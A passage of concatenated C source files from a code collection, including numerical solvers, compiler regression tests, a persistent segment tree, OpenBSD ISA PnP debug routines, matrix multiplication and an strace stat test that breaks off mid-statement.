void allocate_init_2Dmatrix(float ***mat, int n, int m){
int i, j;
*mat = (float **) malloc(n * sizeof(float *));
for(i = 0; i < n; i++) {
(*mat)[i] = (float *)malloc(m * sizeof(float));
for (j = 0; j < m; j++)
(*mat)[i][j] = rand_float(MAX);
}
}
// solver
void solver(float ***mat, int n, int m){
float diff = 0, temp;
int done = 0, cnt_iter = 0, i, j;
while (!done && (cnt_iter < MAX_ITER)){
diff = 0;
for (i = 1; i < n - 1; i++)
for (j = 1; j < m - 1; j++){
temp = (*mat)[i][j];
(*mat)[i][j] = 0.2 * ((*mat)[i][j] + (*mat)[i][j - 1] + (*mat)[i - 1][j] + (*mat)[i][j + 1] + (*mat)[i + 1][j]);
diff += abs((*mat)[i][j] - temp);
}
if (diff/n/n < TOL)
done = 1;
cnt_iter ++;
}
if (done)
printf("Solver converged after %d iterations\n", cnt_iter);
else
printf("Solver not converged after %d iterations\n", cnt_iter);
}
int main(int argc, char *argv[]) {
int n;
float **a;
if (argc < 2) {
printf("Call this program with two parameters: matrix_size communication \n");
printf("\t matrix_size: Add 2 to a power of 2 (e.g. : 18, 1026)\n");
exit(1);
}
n = atoi(argv[1]);
printf("Matrix size = %d \n", n);
allocate_init_2Dmatrix(&a, n, n);
// Initial operation time
clock_t i_exec_t = clock();
solver(&a, n, n);
// Final operation time
clock_t f_exec_t = clock();
float exec_time = (float)(f_exec_t - i_exec_t) / CLOCKS_PER_SEC;
printf("Operations time: %f\n", exec_time);
return 0;
}
|
the_stack_data/881387.c | /* { dg-additional-options "-O2" } */
/* { dg-additional-options "-fdump-tree-parloops1-all" } */
/* { dg-additional-options "-fdump-tree-optimized" } */
#include <stdlib.h>
#define N 500
unsigned int a[N][N];
void __attribute__((noinline,noclone))
foo (unsigned int n)
{
int i, j;
unsigned int sum = 1;
#pragma acc kernels copyin (a[0:n]) copy (sum)
{
for (i = 0; i < n; ++i)
for (j = 0; j < n; ++j)
sum += a[i][j];
}
if (sum != 5001)
abort ();
}
/* Check that only one loop is analyzed, and that it can be parallelized. */
/* { dg-final { scan-tree-dump-times "SUCCESS: may be parallelized" 1 "parloops1" } } */
/* { dg-final { scan-tree-dump-not "FAILED:" "parloops1" } } */
/* { dg-final { scan-tree-dump-times "parallelizing outer loop" 1 "parloops1" } } */
/* Check that the loop has been split off into a function. */
/* { dg-final { scan-tree-dump-times "(?n);; Function .*foo.*._omp_fn.0" 1 "optimized" } } */
/* { dg-final { scan-tree-dump-times "(?n)oacc function \\(0," 1 "parloops1" } } */
|
the_stack_data/2665.c | /* From PR rtl-optimization/19683. On little-endian MIPS targets,
reload would incorrectly inherit the high part of the multiplication
result. */
/* { dg-do run { target mips*-*-* } } */
extern void abort (void);
extern void exit (int);
#ifndef __mips16
#define REPEAT10(X, Y) \
X(Y##0); X(Y##1); X(Y##2); X(Y##3); X(Y##4); \
X(Y##5); X(Y##6); X(Y##7); X(Y##8); X(Y##9)
#define REPEAT30(X) REPEAT10 (X, 0); REPEAT10 (X, 1); REPEAT10 (X, 2)
#define IN(X) unsigned int x##X = ptr[0]
#define OUT(X) ptr[0] = x##X
union u { unsigned long long ll; unsigned int i[2]; };
unsigned int
foo (volatile unsigned int *ptr)
{
union u u;
int result;
u.ll = (unsigned long long) ptr[0] * ptr[0];
REPEAT30 (IN);
REPEAT30 (OUT);
asm ("#" : "=l" (result) : "l" (u.i[1]));
return result;
}
int
main (void)
{
unsigned int array[] = { 1000 * 1000 * 1000 };
union u u;
u.ll = (unsigned long long) array[0] * array[0];
if (foo (array) != u.i[1])
abort ();
exit (0);
}
#else
int
main (void)
{
exit (0);
}
#endif
|
the_stack_data/115764386.c | /*
* 模板：主席树。
*/
#include <stdio.h>
#define MAX (1000009)
struct {
struct {
int val;
int l, r;
} N[MAX << 5];
int n;
int V[MAX];
int Vc;
int Nc;
} P;
int p_alc(int val)
{
P.N[P.Nc].val = val;
P.N[P.Nc].l = 0;
P.N[P.Nc].r = 0;
return P.Nc++;
}
void p_ini(int n)
{
P.Vc = 0;
P.n = n;
P.Nc = 1;
}
int p_dup(int old)
{
return P.V[old];
}
int p_qry(int rt, int l, int r, int pos)
{
int m;
if (l == r)
return P.N[rt].val;
m = l + (r - l) / 2;
if (pos <= m)
return p_qry(P.N[rt].l, l, m, pos);
return p_qry(P.N[rt].r, m + 1, r, pos);
}
int p_mdf(int rt, int l, int r, int pos, int val)
{
int nr = p_alc(0);
if (l == r) {
P.N[nr].val = val;
} else {
int m = l + (r - l) / 2;
if (pos <= m) {
P.N[nr].r = P.N[rt].r;
P.N[nr].l = p_mdf(P.N[rt].l, l, m, pos, val);
} else {
P.N[nr].l = P.N[rt].l;
P.N[nr].r = p_mdf(P.N[rt].r, m + 1, r, pos, val);
}
}
return nr;
}
int p_bld(int l, int r)
{
int nr = p_alc(0);
if (l == r) {
int x;
scanf("%d", &x);
P.N[nr].val = x;
} else {
int m = l + (r - l) / 2;
P.N[nr].l = p_bld(l, m);
P.N[nr].r = p_bld(m + 1, r);
}
return nr;
}
int main(void)
{
int n, m;
#ifdef DEBUG
freopen("in", "r", stdin);
#endif
scanf("%d%d", &n, &m);
p_ini(n);
P.V[P.Vc++] = p_bld(1, n);
while (m--) {
int v, op;
scanf("%d%d", &v, &op);
if (op == 1) {
int loc, val;
scanf("%d%d", &loc, &val);
P.V[P.Vc++] = p_mdf(P.V[v], 1, n, loc, val);
} else {
int loc;
scanf("%d", &loc);
P.V[P.Vc++] = p_dup(v);
printf("%d\n", p_qry(P.V[P.Vc - 1], 1, n, loc));
}
}
return 0;
}
|
the_stack_data/976470.c | #include <stdio.h>
#define TRUE 1
#define FALSE 0
int main()
{
int n;
char buffer[100];
int rip[10];
int scritto = FALSE;
// Init array
for(int x = 0; x < 10; x++) rip[x] = 0;
scanf("%d", &n);
sprintf(buffer,"%d", n);
for(int x = 0;; x++)
{
if(buffer[x] == 0) break;
rip[buffer[x]-48]++;
}
for(int x = 0; x < 10; x++)
{
if(rip[x] > 1)
{
if(!scritto) printf("Cifre ripetute: ");
if(scritto) printf(", ");
printf("%d", x);
scritto = TRUE;
}
}
if(!scritto) printf("Non ci sono cifre ripetute");
printf("\n");
}
|
the_stack_data/62168.c | /* $OpenBSD: isapnpdebug.c,v 1.3 2002/12/15 13:17:04 henning Exp $ */
/* $NetBSD: isapnpdebug.c,v 1.4 1997/08/03 08:12:23 mikel Exp $ */
/*
* Copyright (c) 1996 Christos Zoulas. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by Christos Zoulas.
* 4. The name of the author may not be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifdef DEBUG_ISAPNP
#include <sys/param.h>
#include <sys/systm.h>
#include <sys/device.h>
#include <machine/bus.h>
#include <dev/isa/isapnpreg.h>
#include <dev/isa/isavar.h>
/* isapnp_print_mem():
* Print a memory tag
*/
void
isapnp_print_mem(str, mem)
const char *str;
const struct isapnp_region *mem;
{
printf("%sMemory: %s,%sshadowable,decode-%s,%scacheable,%s", str,
(mem->flags & ISAPNP_MEMATTR_ROM) ? "ROM," : "RAM,",
(mem->flags & ISAPNP_MEMATTR_SHADOWABLE) ? "" : "non-",
(mem->flags & ISAPNP_MEMATTR_HIGH_ADDR) ?
"high-addr," : "range-len,",
(mem->flags & ISAPNP_MEMATTR_CACHEABLE) ? "" : "non-",
(mem->flags & ISAPNP_MEMATTR_WRITEABLE) ?
"writable," : "read-only,");
switch (mem->flags & ISAPNP_MEMWIDTH_MASK) {
case ISAPNP_MEMWIDTH_8:
printf("8-bit ");
break;
case ISAPNP_MEMWIDTH_16:
printf("16-bit ");
break;
case ISAPNP_MEMWIDTH_8_16:
printf("8/16-bit ");
break;
case ISAPNP_MEMWIDTH_32:
printf("32-bit ");
break;
}
printf("min 0x%x, max 0x%x, ", mem->minbase, mem->maxbase);
printf("align 0x%x, length 0x%x\n", mem->align, mem->length);
}
/* isapnp_print_io():
* Print an io tag
*/
void
isapnp_print_io(str, io)
const char *str;
const struct isapnp_region *io;
{
printf("%d %sIO Ports: %d address bits, alignment %d ",
io->length, str, (io->flags & ISAPNP_IOFLAGS_16) ? 16 : 10,
io->align);
printf("min 0x%x, max 0x%x\n", io->minbase, io->maxbase);
}
/* isapnp_print_irq():
* Print an irq tag
*/
void
isapnp_print_irq(str, irq)
const char *str;
const struct isapnp_pin *irq;
{
int i;
printf("%sIRQ's supported: ", str);
for (i = 0; i < 16; i++)
if (irq->bits & (1 << i))
printf("%d ", i);
if (irq->flags & ISAPNP_IRQTYPE_EDGE_PLUS)
printf("E+");
if (irq->flags & ISAPNP_IRQTYPE_EDGE_MINUS)
printf("E-");
if (irq->flags & ISAPNP_IRQTYPE_LEVEL_PLUS)
printf("L+");
if (irq->flags & ISAPNP_IRQTYPE_LEVEL_MINUS)
printf("L-");
printf("\n");
}
/* isapnp_print_drq():
* Print a drq tag
*/
void
isapnp_print_drq(str, drq)
const char *str;
const struct isapnp_pin *drq;
{
int i;
u_char flags = drq->flags;
printf("%sDRQ's supported: ", str);
for (i = 0; i < 8; i++)
if (drq->bits & (1 << i))
printf("%d ", i);
printf("Width: ");
switch (flags & ISAPNP_DMAWIDTH_MASK) {
case ISAPNP_DMAWIDTH_8:
printf("8-bit ");
break;
case ISAPNP_DMAWIDTH_8_16:
printf("8/16-bit ");
break;
case ISAPNP_DMAWIDTH_16:
printf("16-bit ");
break;
case ISAPNP_DMAWIDTH_RESERVED:
printf("Reserved ");
break;
}
printf("Speed: ");
switch (flags & ISAPNP_DMASPEED_MASK) {
case ISAPNP_DMASPEED_COMPAT:
printf("compat ");
break;
case ISAPNP_DMASPEED_A:
printf("A ");
break;
case ISAPNP_DMASPEED_B:
printf("B ");
break;
case ISAPNP_DMASPEED_F:
printf("F ");
break;
}
if (flags & ISAPNP_DMAATTR_MASK)
printf("Attributes: %s%s%s",
(flags & ISAPNP_DMAATTR_BUS_MASTER) ? "bus master " : "",
(flags & ISAPNP_DMAATTR_INCR_8) ? "incr 8 " : "",
(flags & ISAPNP_DMAATTR_INCR_16) ? "incr 16 " : "");
printf("\n");
}
/* isapnp_print_dep_start():
* Print a start dependencies tag
*/
void
isapnp_print_dep_start(str, pref)
const char *str;
const u_char pref;
{
printf("%sconfig: ", str);
switch (pref) {
case ISAPNP_DEP_PREFERRED:
printf("preferred\n");
break;
case ISAPNP_DEP_ACCEPTABLE:
printf("acceptable\n");
break;
case ISAPNP_DEP_FUNCTIONAL:
printf("functional\n");
break;
case ISAPNP_DEP_UNSET: /* Used internally */
printf("unset\n");
break;
case ISAPNP_DEP_CONFLICTING: /* Used internally */
printf("conflicting\n");
break;
default:
printf("invalid\n");
break;
}
}
void
isapnp_print_attach(pa)
const struct isa_attach_args *pa;
{
int i;
printf("Found <%s, %s, %s, %s> ", pa->ipa_devident,
pa->ipa_devlogic, pa->ipa_devcompat, pa->ipa_devclass);
isapnp_print_dep_start("", pa->ipa_pref);
for (i = 0; i < pa->ipa_nio; i++)
isapnp_print_io("", &pa->ipa_io[i]);
for (i = 0; i < pa->ipa_nmem; i++)
isapnp_print_mem("", &pa->ipa_mem[i]);
for (i = 0; i < pa->ipa_nirq; i++)
isapnp_print_irq("", &pa->ipa_irq[i]);
for (i = 0; i < pa->ipa_ndrq; i++)
isapnp_print_drq("", &pa->ipa_drq[i]);
for (i = 0; i < pa->ipa_nmem32; i++)
isapnp_print_mem("", &pa->ipa_mem32[i]);
}
/* isapnp_get_config():
* Get the current configuration of the card
*/
void
isapnp_get_config(sc, pa)
struct isapnp_softc *sc;
struct isa_attach_args *pa;
{
int i;
u_char v0, v1, v2, v3;
static u_char isapnp_mem_range[] = ISAPNP_MEM_DESC;
static u_char isapnp_io_range[] = ISAPNP_IO_DESC;
static u_char isapnp_irq_range[] = ISAPNP_IRQ_DESC;
static u_char isapnp_drq_range[] = ISAPNP_DRQ_DESC;
static u_char isapnp_mem32_range[] = ISAPNP_MEM32_DESC;
struct isapnp_region *r;
struct isapnp_pin *p;
bzero(pa, sizeof(*pa));
for (i = 0; i < sizeof(isapnp_io_range); i++) {
r = &pa->ipa_io[i];
v0 = isapnp_read_reg(sc,
isapnp_io_range[i] + ISAPNP_IO_BASE_15_8);
v1 = isapnp_read_reg(sc,
isapnp_io_range[i] + ISAPNP_IO_BASE_7_0);
r->base = (v0 << 8) | v1;
if (r->base == 0)
break;
}
pa->ipa_nio = i;
for (i = 0; i < sizeof(isapnp_mem_range); i++) {
r = &pa->ipa_mem[i];
v0 = isapnp_read_reg(sc,
isapnp_mem_range[i] + ISAPNP_MEM_BASE_23_16);
v1 = isapnp_read_reg(sc,
isapnp_mem_range[i] + ISAPNP_MEM_BASE_15_8);
r->base = (v0 << 16) | (v1 << 8);
if (r->base == 0)
break;
v0 = isapnp_read_reg(sc,
isapnp_mem_range[i] + ISAPNP_MEM_LRANGE_23_16);
v1 = isapnp_read_reg(sc,
isapnp_mem_range[i] + ISAPNP_MEM_LRANGE_15_8);
r->length = (v0 << 16) | (v1 << 8);
v0 = isapnp_read_reg(sc,
isapnp_mem_range[i] + ISAPNP_MEM_CONTROL);
r->flags = 0;
if (v0 & ISAPNP_MEM_CONTROL_LIMIT)
r->flags |= ISAPNP_MEMATTR_HIGH_ADDR;
if (v0 & ISAPNP_MEM_CONTROL_16)
r->flags |= ISAPNP_MEMWIDTH_16;
}
pa->ipa_nmem = i;
for (i = 0; i < sizeof(isapnp_irq_range); i++) {
v0 = isapnp_read_reg(sc,
isapnp_irq_range[i] + ISAPNP_IRQ_NUMBER);
p = &pa->ipa_irq[i];
p->num = v0 & 0xf;
if (p->num == 0)
break;
switch (v0 & (ISAPNP_IRQ_LEVEL|ISAPNP_IRQ_HIGH)) {
case ISAPNP_IRQ_LEVEL|ISAPNP_IRQ_HIGH:
p->flags = ISAPNP_IRQTYPE_LEVEL_PLUS;
break;
case ISAPNP_IRQ_HIGH:
p->flags = ISAPNP_IRQTYPE_EDGE_PLUS;
break;
case ISAPNP_IRQ_LEVEL:
p->flags = ISAPNP_IRQTYPE_LEVEL_MINUS;
break;
default:
p->flags = ISAPNP_IRQTYPE_EDGE_MINUS;
break;
}
}
pa->ipa_nirq = i;
for (i = 0; i < sizeof(isapnp_drq_range); i++) {
v0 = isapnp_read_reg(sc, isapnp_drq_range[i]);
p = &pa->ipa_drq[i];
p->num = v0 & 0xf;
if (p->num == 4)
break;
}
pa->ipa_ndrq = i;
for (i = 0; i < sizeof(isapnp_mem32_range); i++) {
r = &pa->ipa_mem32[i];
v0 = isapnp_read_reg(sc,
isapnp_mem32_range[i] + ISAPNP_MEM32_BASE_31_24);
v1 = isapnp_read_reg(sc,
isapnp_mem32_range[i] + ISAPNP_MEM32_BASE_23_16);
v2 = isapnp_read_reg(sc,
isapnp_mem32_range[i] + ISAPNP_MEM32_BASE_15_8);
v3 = isapnp_read_reg(sc,
isapnp_mem32_range[i] + ISAPNP_MEM32_BASE_7_0);
r->base = (v0 << 24) | (v1 << 16) | (v2 << 8) | v3;
if (r->base == 0)
break;
v0 = isapnp_read_reg(sc,
isapnp_mem32_range[i] + ISAPNP_MEM32_LRANGE_31_24);
v1 = isapnp_read_reg(sc,
isapnp_mem32_range[i] + ISAPNP_MEM32_LRANGE_23_16);
v2 = isapnp_read_reg(sc,
isapnp_mem32_range[i] + ISAPNP_MEM32_LRANGE_15_8);
v3 = isapnp_read_reg(sc,
isapnp_mem32_range[i] + ISAPNP_MEM32_LRANGE_7_0);
r->length = (v0 << 24) | (v1 << 16) | (v2 << 8) | v3;
v0 = isapnp_read_reg(sc,
isapnp_mem_range[i] + ISAPNP_MEM_CONTROL);
r->flags = v0;
}
pa->ipa_nmem32 = i;
}
/* isapnp_print_config():
* Print the current configuration of the card
*/
void
isapnp_print_config(pa)
const struct isa_attach_args *pa;
{
int i;
const struct isapnp_region *r;
const struct isapnp_pin *p;
printf("Register configuration:\n");
if (pa->ipa_nio)
for (i = 0; i < pa->ipa_nio; i++) {
r = &pa->ipa_io[i];
printf("io[%d]: 0x%x/%d\n", i, r->base, r->length);
}
if (pa->ipa_nmem)
for (i = 0; i < pa->ipa_nmem; i++) {
r = &pa->ipa_mem[i];
printf("mem[%d]: 0x%x/%d\n", i, r->base, r->length);
}
if (pa->ipa_nirq)
for (i = 0; i < pa->ipa_nirq; i++) {
p = &pa->ipa_irq[i];
printf("irq[%d]: %d\n", i, p->num);
}
if (pa->ipa_ndrq)
for (i = 0; i < pa->ipa_ndrq; i++) {
p = &pa->ipa_drq[i];
printf("drq[%d]: %d\n", i, p->num);
}
if (pa->ipa_nmem32)
for (i = 0; i < pa->ipa_nmem32; i++) {
r = &pa->ipa_mem32[i];
printf("mem32[%d]: 0x%x/%d\n", i, r->base, r->length);
}
}
#endif
|
the_stack_data/107953457.c | #include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
int L = 100; // Tamanho das matrizes
int main(void){
clock_t begin = clock();
srand(time(0));
int i,j,k;
int soma = 0;
int menor;
int diagonal[L];
int matriz_A[L][L],
matriz_B[L][L],
matriz_C[L][L],
matriz_R[L][L];
double tempo_gasto = 0.0;
for(i=0;i<L;i++) // Preencher as matrizes A,B e C com valores aleatórios de 0 a 10
{
for(j=0;j<L;j++)
{
matriz_A[i][j] = (rand()%5);
matriz_B[i][j] = (rand()%5);
matriz_C[i][j] = (rand()%5);
}
}
printf("----------- Matriz A ---------------\n\n");
for(i=0;i<L;i++)
{
for(j=0;j<L;j++)
{
printf("%.2d ",matriz_A[i][j]);
}
printf("\n");
}
printf("\n");
printf("----------- Matriz B ---------------\n\n");
for(i=0;i<L;i++)
{
for(j=0;j<L;j++)
{
printf("%.2d ",matriz_B[i][j]);
}
printf("\n");
}
printf("\n");
printf("----------- Matriz C ---------------\n\n");
for(i=0;i<L;i++)
{
for(j=0;j<L;j++)
{
printf("%.2d ",matriz_C[i][j]);
}
printf("\n");
}
// Fazendo as multiplicações:
for(i=0;i<L;i++)
{
for(j=0;j<L;j++)
{
for(k=0;k<L;k++)
{
soma += matriz_A[i][k] * matriz_B[k][j];
}
matriz_R[i][j] = soma;
soma = 0;
}
}
// Matriz_R agora tem o resultado da multiplicação de A por B
for(i=0;i<L;i++)
{
for(j=0;j<L;j++)
{
matriz_A[i][j] = matriz_R[i][j];
}
}
for(i=0;i<L;i++)
{
for(j=0;j<L;j++)
{
for(k=0;k<L;k++)
{
soma += matriz_A[i][k] * matriz_C[k][j];
}
matriz_R[i][j] = soma;
soma = 0;
}
}
// Matriz_R agora tem o resultado da multiplicação de A x B x C
printf("\n");
printf("----------- Matriz R ---------------\n\n");
for(i=0;i<L;i++)
{
for(j=0;j<L;j++)
{
printf("%.4d ",matriz_R[i][j]);
}
printf("\n");
}
printf("\n");
printf("\n");
// Vetor "diagonal" recebe a diagonal da matriz resultado
for(i=0;i<L;i++)
{
for(j=0;j<L;j++)
{
if(i==j)
{
diagonal[i] = matriz_R[i][j];
}
}
}
menor = diagonal[0];
for(i=0;i<L;i++)
{
if(menor > diagonal[i])
menor = diagonal[i];
}
printf("\n --> Diagonal principal \n");
for(i=0;i<L;i++)
{
printf("%d ",diagonal[i]) ;
}
printf("\n");
printf("\n --> Menor Elemento: ");
printf("%d\n",menor);
clock_t end = clock();
tempo_gasto += (double)(end-begin)/CLOCKS_PER_SEC;
printf("\nTempo gasto: %lf segundos" ,tempo_gasto);
}
|
the_stack_data/299887.c | #include <stdio.h>
#include <assert.h>
#include <stdbool.h>
#include <stdint.h>
#define PC_MASK 0xFFFFFF
#define PC_SHIFT 2
#define ARM1_PC_IS_IN_RANGE(x) (x <= PC_MASK)
uint32_t psr_pc_get(uint32_t *psr) {
return (*psr >> PC_SHIFT) & PC_MASK;
}
// static void print_bin(uint32_t x) {
// for (int i = 31; i >= 0; i--) {
// fprintf(stderr,"%d", (x >> i) & 1);
// if (i % 4 == 0)
// fprintf(stderr," ");
// }
// fprintf(stderr,"\n");
// }
void psr_pc_set(uint32_t *psr, uint32_t pc) {
*psr = (*psr & ~(PC_MASK << PC_SHIFT)) | (pc << PC_SHIFT);
}
bool psr_pc_sumar(uint32_t *psr, int d) {
const uint32_t pc = psr_pc_get(psr);
if (ARM1_PC_IS_IN_RANGE(pc + d)) {
psr_pc_set(psr, pc + d);
return true;
}
return false;
}
int main(void) {
uint32_t psr = 0x99999999; // 1001 1001 1001 1001 1001 1001 1001 1001
assert(psr_pc_get(&psr) == 0x666666); // 0110 0110 0110 0110 0110 0110
psr_pc_set(&psr, 42);
assert(psr_pc_get(&psr) == 42);
bool r;
r = psr_pc_sumar(&psr, -16);
assert(r);
assert(psr_pc_get(&psr) == 26);
r = psr_pc_sumar(&psr, -30);
assert(!r);
assert(psr_pc_get(&psr) == 26);
// OPCIONAL: escribir pruebas adicionales
printf("%s: OK\n", __FILE__);
return 0;
}
|
the_stack_data/40763917.c | /*
* Copyright (c) 2015 Dmitry V. Levin <[email protected]>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. The name of the author may not be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#if defined TEST_SYSCALL_NAME \
&& defined HAVE_FTRUNCATE && defined HAVE_FUTIMENS
# ifndef TEST_SYSCALL_INVOKE
# error TEST_SYSCALL_INVOKE must be defined
# endif
# ifndef PRINT_SYSCALL_HEADER
# error PRINT_SYSCALL_HEADER must be defined
# endif
# ifndef PRINT_SYSCALL_FOOTER
# error PRINT_SYSCALL_FOOTER must be defined
# endif
# include <errno.h>
# include <stdio.h>
# include <stddef.h>
# include <time.h>
# include <unistd.h>
# if defined MAJOR_IN_SYSMACROS
# include <sys/sysmacros.h>
# elif defined MAJOR_IN_MKDEV
# include <sys/mkdev.h>
# else
# include <sys/types.h>
# endif
static void
print_time(const time_t t)
{
if (!t) {
printf("0");
return;
}
struct tm *p = localtime(&t);
if (p)
printf("%02d/%02d/%02d-%02d:%02d:%02d",
p->tm_year + 1900, p->tm_mon + 1, p->tm_mday,
p->tm_hour, p->tm_min, p->tm_sec);
else
printf("%llu", (unsigned long long) t);
}
typedef off_t libc_off_t;
# ifdef USE_ASM_STAT
# define stat libc_stat
# define stat64 libc_stat64
# endif
# include <fcntl.h>
# include <sys/stat.h>
# ifdef USE_ASM_STAT
# undef stat
# undef stat64
# endif
# ifdef USE_ASM_STAT
# undef st_atime
# undef st_mtime
# undef st_ctime
# undef dev_t
# undef gid_t
# undef ino_t
# undef loff_t
# undef mode_t
# undef nlink_t
# undef off64_t
# undef off_t
# undef time_t
# undef uid_t
# define dev_t __kernel_dev_t
# define gid_t __kernel_gid_t
# define ino_t __kernel_ino_t
# define loff_t __kernel_loff_t
# define mode_t __kernel_mode_t
# define nlink_t __kernel_nlink_t
# define off64_t __kernel_off64_t
# define off_t __kernel_off_t
# define time_t __kernel_time_t
# define uid_t __kernel_uid_t
# include "asm_stat.h"
# else
# undef HAVE_STRUCT_STAT_ST_ATIME_NSEC
# ifdef HAVE_STRUCT_STAT_ST_ATIM_TV_NSEC
# define HAVE_STRUCT_STAT_ST_ATIME_NSEC 1
# undef st_atime_nsec
# define st_atime_nsec st_atim.tv_nsec
# endif
# undef HAVE_STRUCT_STAT_ST_MTIME_NSEC
# ifdef HAVE_STRUCT_STAT_ST_MTIM_TV_NSEC
# define HAVE_STRUCT_STAT_ST_MTIME_NSEC 1
# undef st_mtime_nsec
# define st_mtime_nsec st_mtim.tv_nsec
# endif
# undef HAVE_STRUCT_STAT_ST_CTIME_NSEC
# ifdef HAVE_STRUCT_STAT_ST_CTIM_TV_NSEC
# define HAVE_STRUCT_STAT_ST_CTIME_NSEC 1
# undef st_ctime_nsec
# define st_ctime_nsec st_ctim.tv_nsec
# endif
# endif
# ifndef STRUCT_STAT
# define STRUCT_STAT struct stat
# endif
# ifndef SAMPLE_SIZE
# define SAMPLE_SIZE 43147718418
# endif
static void
print_ftype(const unsigned int mode)
{
if (S_ISREG(mode))
printf("S_IFREG");
else if (S_ISDIR(mode))
printf("S_IFDIR");
else if (S_ISCHR(mode))
printf("S_IFCHR");
else if (S_ISBLK(mode))
printf("S_IFBLK");
else
printf("%#o", mode & S_IFMT);
}
static void
print_perms(const unsigned int mode)
{
printf("%#o", mode & ~S_IFMT);
}
static void
print_stat(const STRUCT_STAT *st)
{
printf("{st_dev=makedev(%u, %u)",
(unsigned int) major(st->st_dev),
(unsigned int) minor(st->st_dev));
printf(", st_ino=%llu", (unsigned long long) st->st_ino);
printf(", st_mode=");
print_ftype(st->st_mode);
printf("|");
print_perms(st->st_mode);
printf(", st_nlink=%u", (unsigned int) st->st_nlink);
printf(", st_uid=%u", (unsigned int) st->st_uid);
printf(", st_gid=%u", (unsigned int) st->st_gid);
printf(", st_blksize=%u", (unsigned int) st->st_blksize);
printf(", st_blocks=%u", (unsigned int) st->st_blocks);
switch (st->st_mode & S_IFMT) {
case S_IFCHR: case S_IFBLK:
printf(", st_rdev=makedev(%u, %u)",
(unsigned int) major(st->st_rdev),
(unsigned int) minor(st->st_rdev));
break;
default:
printf(", st_size=%llu", (unsigned long long) st->st_size);
}
printf(", st_atime=");
print_time(st->st_atime);
# ifdef HAVE_STRUCT_STAT_ST_ATIME_NSEC
if (st->st_atime_nsec)
printf(".%09lu", (unsigned long) st->st_atime_nsec);
# endif
printf(", st_mtime=");
print_time(st->st_mtime);
# ifdef HAVE_STRUCT_STAT_ST_MTIME_NSEC
if (st->st_mtime_nsec)
printf(".%09lu", (unsigned long) st->st_mtime_nsec);
# endif
printf(", st_ctime=");
print_time(st->st_ctime);
# ifdef HAVE_STRUCT_STAT_ST_CTIME_NSEC
if (st->st_ctime_nsec)
printf(".%09lu", (unsigned long) st->st_ctime_nsec);
# endif
printf("}");
}
static int
create_sample(const char *fname, const libc_off_t size)
{
static const struct timespec ts[] = {
{-10843, 135}, {-10841, 246}
};
(void) close(0);
if (open(fname, O_RDWR | O_CREAT | O_TRUNC, 0640)) {
perror(fname);
return 77;
}
if (ftruncate(0, size)) {
perror("ftruncate");
return 77;
}
if (futimens(0, ts)) {
perror("futimens");
return 77;
}
return 0;
}
# define stringify_(arg) #arg
# define stringify(arg) stringify_(arg)
# define TEST_SYSCALL_STR stringify(TEST_SYSCALL_NAME)
# define STRUCT_STAT_STR stringify(STRUCT_STAT)
int
main(void)
{
static const char sample[] = TEST_SYSCALL_STR ".sample";
STRUCT_STAT st[2];
int rc = create_sample(sample, SAMPLE_SIZE);
if (rc) {
(void) unlink(sample);
return rc;
}
if (TEST_SYSCALL_INVOKE(sample, st)) {
perror(TEST_SYSCALL_STR);
(void) unlink(sample);
return 77;
}
(void) unlink(sample);
if ((unsigned long long) SAMPLE_SIZE !=
(unsigned long long) st[0].st_size) {
fprintf(stderr, "Size mismatch: "
"requested size(%llu) != st_size(%llu)\n",
(unsigned long long) SAMPLE_SIZE,
(unsigned long long) st[0].st_size);
fprintf(stderr, "The most likely reason for this is incorrect"
" definition of %s.\n"
"Here is some diagnostics that might help:\n",
STRUCT_STAT_STR);
fprintf(stderr, "offsetof(%s, st_dev) = %zu"
", sizeof(st_dev) = %zu\n",
STRUCT_STAT_STR, offsetof(STRUCT_STAT, st_dev),
